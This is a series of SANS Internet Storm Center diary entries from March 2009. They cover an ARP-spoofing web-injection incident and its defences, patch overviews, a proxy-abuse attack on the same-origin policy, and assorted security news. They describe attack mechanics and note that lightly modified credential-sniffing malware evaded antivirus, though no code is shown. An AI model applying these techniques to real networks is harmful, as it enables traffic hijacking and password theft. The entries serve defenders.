The spoofing attack consists of the attacker sending ARP packets containing fake data to the target. In normal conditions the target machine will accept this and “believe” whatever the attacker is saying.
The ARP spoofing malware they used was relatively common, but still AV detection was miserable with major AV programs missing it (both compromised machines had up to date AV programs installed). In order to start the malware the attackers used a simple BAT script:
svchost.exe’s options are self explanatory – it uses the interface 0 (idx) and spoofs the IP address in the ip option. Finally it inserts whatever is in the insert option into every HTML page served.
Nice thing for the attacker is that the administrator of an attacked web site will never figure out what’s going on until he checks the ARP cache or monitors network traffic. The ARP cache can be checked with the arp command (arp –a on both Windows and Linux) – one should watch out for weird MAC addresses. It usually pays to check the OID owner because you don’t see Dell routers all that often as shown in the following Wireshark screenshot of ARP poisoning traffic:
There are various ways for defending against ARP spoofing. One can hard code MAC addresses of routers on servers (be careful with this as changes to the default gateway will stop your machines from talking to the Internet until you modify the hard coded address). I would recommend installation of Arpwatch, a nice and simple tool that monitors ARP traffic and alerts on attacks. Finally, Cisco (and others I presume) has features called DHCP Snooping and ARP inspection which can effectively stop ARP poisoning attacks. Sadly, I rarely see these features used, especially in internal network.
Regarding other malware I mentioned previously, the AV detection rates were similarly poor (in the mean time they improved). Particularly nasty was the Winlogon Notify hook package which simply “sniffs” all usernames/passwords of users logging in to the system (so password changes don’t help). This package has been around for ages (the source is public) and I was shocked how simple modifications made it “invisible” to those AV programs.
Adobe Acrobat 9.1 released
Gilbert wrote in to point to the eagerly awaited Adobe Acrobat fix that was released today:
Make sure you have version 9.1.
Swa Frantzen -- Section 66
March black Tuesday overview
Overview of the March 2009 Microsoft patches and their status.
|#||Affected||Contra Indications||Known Exploits||Microsoft rating||ISC rating(*)|
|MS09-006||Multiple input validation vulnerabilities in the windows kernel allow random code execution though the GDI component (WMF and EMF files yet again), and privilege escalations that allow random code to be run in kernel mode.
No publicly known exploits
|MS09-007||Secure Channel (SChannel) implements SSL and TLS. When using client certificates (X.509) the server implementation fails to properly validate that the client has access to the private key and allows impersonation using only knowledge of the public key of the client.
|Secure Channel (SChanne)l
|KB 960225||No publicly known exploits.||Severity:Important
|MS09-008||Multiple vulnerabilities in the DNS and WINS server implementation. DNS spoofing is made easier by allowing a more predicable transaction ID, possible causing DNS cache poisoning. The update also fixes the problem with WPAD (Web Proxy Auto Discovery) described in security advisory 945713. A similar problem is fixed for WINS with the WPAD and ISATAP (IPv6: Intra Site Automatic Tunnel Addressing Protocol) names
Replaces MS08-037, MS08-034 and MS08-066.
|DNS and WINS server
|KB 962238||CVE-2009-0093 and CVE-2009-0094 are publicly known.||Severity:Important
We appreciate updates
US based customers can call Microsoft for free patch related support on 1-866-PCSAFETY
- We use 4 levels:
- PATCH NOW: Typically used where we see immediate danger of exploitation. Typical environments will want to deploy these patches ASAP. Workarounds are typically not accepted by users or are not possible. This rating is often used when typical deployments make it vulnerable and exploits are being used or easy to obtain or make.
- Critical: Anything that needs little to become "interesting" for the dark side. Best approach is to test and deploy ASAP. Workarounds can give more time to test.
- Important: Things where more testing and other measures can help.
- Less Urgent: Typically we expect the impact if left unpatched to be not that big a deal in the short term. Do not forget them however.
- The difference between the client and server rating is based on how you use the affected machine. We take into account the typical client and server deployment in the usage of the machine and the common measures people typically have in place already. Measures we presume are simple best practices for servers such as not using outlook, MSIE, word etc. to do traditional office or leisure work.
- The rating is not a risk analysis as such. It is a rating of importance of the vulnerability and the perceived or even predicted threat for affected systems. The rating does not account for the number of affected systems there are. It is for an affected system in a typical worst-case role.
- Only the organization itself is in a position to do a full risk analysis involving the presence (or lack of) affected systems, the actually implemented measures, the impact on their operation and the value of the assets involved.
- All patches released by a vendor are important enough to have a close look if you use the affected systems. There is little incentive for vendors to publicize patches that do not have some form of risk to them
Swa Frantzen -- Section 66
conspiracy fodder: pifts.exe
Several readers wrote in with samples of a file PIFTS.exe that seems to be related to a Norton update and gets flagged for its behavior.
The file has been confirmed to call home to stats.norton.com .
The truly bizarre are the mentions that the support forums of norton wipe questions about pifts.exe:
- See this google search for "site:community.norton.com pifts.exe":
- none of them are cached, but they clearly have been indexed and they have been deleted:
This is of course exactly what any conspiracy theorist needs to lower trust in the products.
We're trying to reach our contacts at Symantec for an explanation, and will update if and when we get a response.
Swa Frantzen -- Section 66
Browser plug-ins, transparent proxies and same origin policies
First, just a quick reminder:
- Same origin policy is a way a browser keeps methods from being called between different sites. It assures that www.evil.com's scripts can't access www.bank.com's methods, even if you have both of them open in the same browser at the same time. Any failure here often is catastrophic to security.
- Transparent proxies sit between the browser and the Internet and -as their name suggests- transparently try to either cache some content and safe some bandwidth or either are there to inspect traffic and/or enforce policies. They are supposed to be invisible to the browser. You'll find them at hotels, ISPs, corporate perimeters etc. There are quite a few security technologies that incorporate them to do content filtering.
- Browsers typically have plug-ins such as a flash player that have extensive scripting capabilities (or java). These plug-ins can open TCP connections themselves.
As you're probably getting by now: the above combination can have a problem depending on how the transparent proxy is working.
Last month CERT released a not much published about vulnerability note, that by now still lists many vendors as unknown, but is starting to collect a number of vulnerable ones as well.
Robert sent us a pointer to a paper titled "Socket Capable Browser Plugins Result In Transparent Proxy Abuse".
In it the author describes the attack method in greater detail. The scenario is as follows:
The user (victim) visits somehow www.evil.com through his browser.
- The browser resolves www.evil.com to 18.104.22.168
- The browser downloads the content of the web page
- The browser spots an object referenced in the web page
- The browser downloads the object as well from the same www.evil.com website
- The browser starts executing the object
- The object opens a connection to 22.214.171.124 on port 80
- In that TCP connection, it asks -using the HTTP protocol- for a URL that appears to come from a host www.secret.com (while connected to www.evil.com)
If the transparent proxy intercepts this (it will), and if it resolves www.secret.com to it's real IP address and not 126.96.36.199 of www.evil.com (it might), it might just have connected the browser -thinking it's talking to www.evil.com- with a connection to www.secret.com. The browser will now allow the object from www.evil.com access to what comes in (and goes out) through the connection to www.secret.com, while it also still can communicate with www.evil.com.
What can you do against this:
- As a user: install Firefox and NoScript: as a user in e.g. a hotel that has a vulnerable transparent proxy this might be the only layer you'll get. By default, NoScript stops the objects from www.evil.com like all other scripts you didn't explicitly trust.
- As an administrator of a transparent proxy, check the US-CERT note above and if your vendor isn't listed as "not vulnerable", contact them for a solution.
If you know other defenses that are effective, do contact us and we'll update.
Swa Frantzen -- Section 66
TinyURL and security
Roseman wrote in with a pointer to a techrepublic blog that points out the well known danger to the short URL servcies and their widespread use.
The blog also pointed out:
- TinyURL has a preview function that (once you set the cookie) allows you to see where you're being redirected before it happens. Set the cookie here: http://tinyurl.com/preview.php
- Bit.ly has an add-on for firefox that allows you to see where the URL points to in addition to some statistics.
Those measures reduce some of the danges, but by far not every danger of users being used to click on links they receive via twitter, IM, or email. It's still far safer to go to any place you need to log in such as e.g. your bank via a bookmarked link only. Those bookmarks reduce the phishing attempts emailing you funny URLs, the typosquatters etc. Add in a properly workign certificate on the SSL version of the website and you've got some serious defense going as a user as long as you do not accept bad certificates.
Swa Frantzen -- Section 66
Yes, the w00tw00t continues.
Every day we get at least one email asking about a string they find in their own weblogs.
It'll look something like this:
As we detailed on the website, about 4 years ago. This tool has nothing to do with the ISC:
We disavow and disapprove of it's unauthorized use.
These are not the droids you are looking for.
-- Joel Esler http://www.joelesler.net
Did your DST rollforward work?
If you have a Cisco IP phone, your DST rollfoward may not have worked, so you might want to rely on a different clock until the issues gets fixed.
Reader Steven (Thanks Steven) to tell us about an issue with Cisco IP phones. Specifically Cisco IP Phone Models: 7905, 7910, 7912, 7920, 7921, 7935, 7936, 7937, 7940, 7960.
There are three work arounds if you are affected by this issue according to Cisco:
Do nothing and wait for time to automatically correct on March 15.
Apply a temporary configuration workaround. Note this workaround will have to be removed when system is patched or after March 15, whichever comes first.
a. Using CUCM Admin go to: System---Date / Time Group
b. Create new Date / Time group with one hour extra of local time.
c. Go to System --- Device pool
d. Create a New Device pool and assign the (one hour extra Date time
group) to this device pool.
e. Assign the new Device pool to and Cisco IP Phones that are displaying
the incorrect time.
f. use BAT or BPS to apply to specific groups based on (devicemodel,currentdevicepool).
Remember, this change will have to be backed out after patching the system or after March 15, whichever comes first.
Apply a patch to be released by Cisco. Updates coming soon.
I would publish a link to Cisco's bug database, but apparently it's offline right now.
-- Joel Esler http://www.joelesler.net
Foxit Reader update
With all the talk about Adobe Reader 0-days lately, many people have written into the ISC suggesting that we tell people about the other PDF viewers out there, such as Foxit. Well, just to let you know, they have some patches out as well.
Detailed here, you can see some information about the patches.
So, if you are a user of foxit, make sure you get out there and patch it as well!
-- Joel Esler http://www.joelesler.net
Behind the Estonia Cyber Attacks
Radio Free Europe / Radio Liberty ran a story on Friday that we just discovered. According to the article, a Russian official has admitted that Russia was responsible for the cyber attacks on Estonia in April/May 2007. We don't have any other data to correlate this with, so we ask our readers if you know of any other independent reporting of this please let us know via our contact form.
If this story is true, it adds yet another twist to the "truth" of what happened in Estonia in 2007 and perhaps also with respect to the alleged Russian cyber attacks against Georgia last year. There is no internationally accepted formal definition of "cyber warfare" even though many in the media like to use that term freely when describing denial of service attacks, website defacements, or other activities that otherwise would be labeled as criminal behavior. I don't personally believe that any hostile activity we have seen so far in cyberspace can be labeled "warfare" but rather is either criminal or espionage related. What do you think? Cyberwar or criminal? Let us know via the comment feature below or via our contact form.
Marcus H. Sachs
Director, SANS Internet Storm Center
Daylight Saving Time Already?
Yes, readers, it's that time of year already. Hopefully all of our North American readers will just wake up an hour earlier on Sunday morning and not worry about server logs having an hour of "missing" data, since all of them are running their server clocks set to GMT, right? Of course!
For those interested in further information on Daylight Saving Time, see these relevant Wikipedia articles:
For everybody else, sorry about the missed hour. You'll get it back later this year.
One other thing, a reader last year pointed out something obvious. If you have a bedroom clock, VCR, or other device that automatically adjusts for Daylight Saving Time but has no way to update its firmware to the new dates of changeover, simply advance the time zone to the one that is east of you for the next few weeks until we hit the old day that is burned into your firmware (first Sunday in April.) Then set it back to the true time zone you are in. Some call this the "Y2K7 Problem." Here's another Wikipedia article for your reading pleasure:
Marcus H. Sachs
Director, SANS Internet Storm Center
ps - don't forget about those smoke detector batteries!
What's up with port 445?
Looking at the DSHIELD data for the port 445 Shows an interesting little trend. Reports showing 445 as the target port is down. Something that is also observed by some readers in their various darknets.
Ports showing 445 as the source however is way up. If you are seeing this or have some packets, please send them through. For the packets, I'm interested especially in the source port 445 traffic.
Quite number of people have reported a similar drop in their stats for 445 as the target port, but no real explanations just yet. Likely to be confiker related, but that's speculation at the moment.
Firefox Releases version 3.0.7
Update: It looks like Mozilla updated their information so I am updating it here.
Mozilla has released version 3.0.7 of Firefox. This release fixes several issues found in the previous version. These fixes include several security issues, 3 Critical.. 2 High.. 1 High.. and 1 Low. The most critical item fixed is the problem of a crash causing memory corruption. This is a stability bug and there is concern that with effort on the bad guys part these crashes could be used to run arbitrary code. This issue applies too Firefox, Thunderbird and SeaMonkey products.
According to Mozilla's Security Advisory MFSA2009-07
See www.mozilla.org/security/announce/2009/mfsa2009-07.html for more information.
Vulnerability in Mozilla's garbage collection process.
Vulnerability in PNG libraries used by Mozilla cause several memory safety hazards.
For the full list of advisories and detailed information go to:
Wireshark 1.0.6 Released
It looks like a new version of Wireshark has been released. In this release they have fixed the bugs in Tektronix K12 and NetScreen file formats as well as some other bugs. They have not added any new protocols with this release but have updated support for AFS, ATM, DHCPv6, DIS, E.212, RTP, UDP, USB, WCCP, WPS protocols.
They also have released an experimental package for Mac OS X 10.5.5 and above.
For a complete list of changes you can look at the Wireshark Release Notes.
Opera browser security updates
Opera has released version 9.64 on various platforms to address security bugs. Definitely a recommended update if you use their browser. http://www.opera.com/docs/changelogs/windows/964/
Obama's leaked chopper blueprints: anything we can learn?
We've been sent all day long pointers to various media outlets regarding the leak of some blueprint for the choppers used as Marine One (they only use that call sign when the president is inside) at a government contractor (some claiming to know which it is), and all pointing to P2P software leaking it out on the Internet. Most -if not all- of these reports have some level of sensationalism to them.
As information security professionals, we need to look at incidents both in our own organization and others as a source to learn something. Especially learning from others is interesting as it avoids the hurt from failing ourselves.
Either we could be outraged over sensitive information being stored on a computer with Internet access that allows users to download and install unauthorized software. If we do this, we would likely end up going down the technological path (highly liked by vendors selling you stuff) to try to prevent installation of unauthorized software such as peer to peer software, or to detect information leaks and the like, but let's look if there's not something else in this story to learn.
First this is the US government, they work with relatively clear data classification levels and issue clearance to access certain levels to certain companies and/or individuals quite formally.
If this "sensitive" information was leaked, one of the unmentioned facts is how it was classified officially. The official classification (these levels exist in the US: UNCLASSIFIED, CONFIDENTIAL, SECRET and TOP SECRET) would indicate how big an issue it is. Similarly missing from public view is if that classification was appropriate for the content. Anybody having a copy should be able to instantly recognize the markings if it was classified.
The next step after classification is handling information that's been classified at a certain level. There are rules on how this should be done. And those rules are well established: NISPOM aka. DoD 5220.22-M is publicly available. NISPOM stands for "National Industrial Security Program Operating Manual".
And the final question is -if it went wrong- what consequences there should/could be -enforcement-.
From experience in the past, we tend to seek out a (number of) individual(s) and stick the blame on them. But we should also -perhaps often- look at the organization itself as an group and maybe declare the group has missed the ball and try to fix it there without playing the all too easy blame game.
Anyway a good moment to review your data classification policies, your data handling and look how it's all enforced in your organization. When doing this, take care not to over-classify as that's very costly. Take care also not to mix low and highly classified information as it'll inevitably lead to errors and/or over-classification. Also look at declassification as a weapon against over-classification. It's after all only human nature to find our work important.
Swa Frantzen -- Section 66
Cool combination of tools
I've mentioned here before that I'm a big fan of Volatility for analyzing memory images. In fact, Volatility plays a big part in my upcoming paper on automating malware behavioral analysis (more on that soon). I'm also a fan of Harlan Carvey's RegRipper, a set of Perl scripts for parsing the Windows registry. A couple of weeks ago, Brendan Dolan-Gavitt mentioned in his blog that it would be cool to be able to use RegRipper on the in-memory copy of the registry. Well, today, he posted a way of using RegRipper and Volatility together to do just that. Very cool, check it out.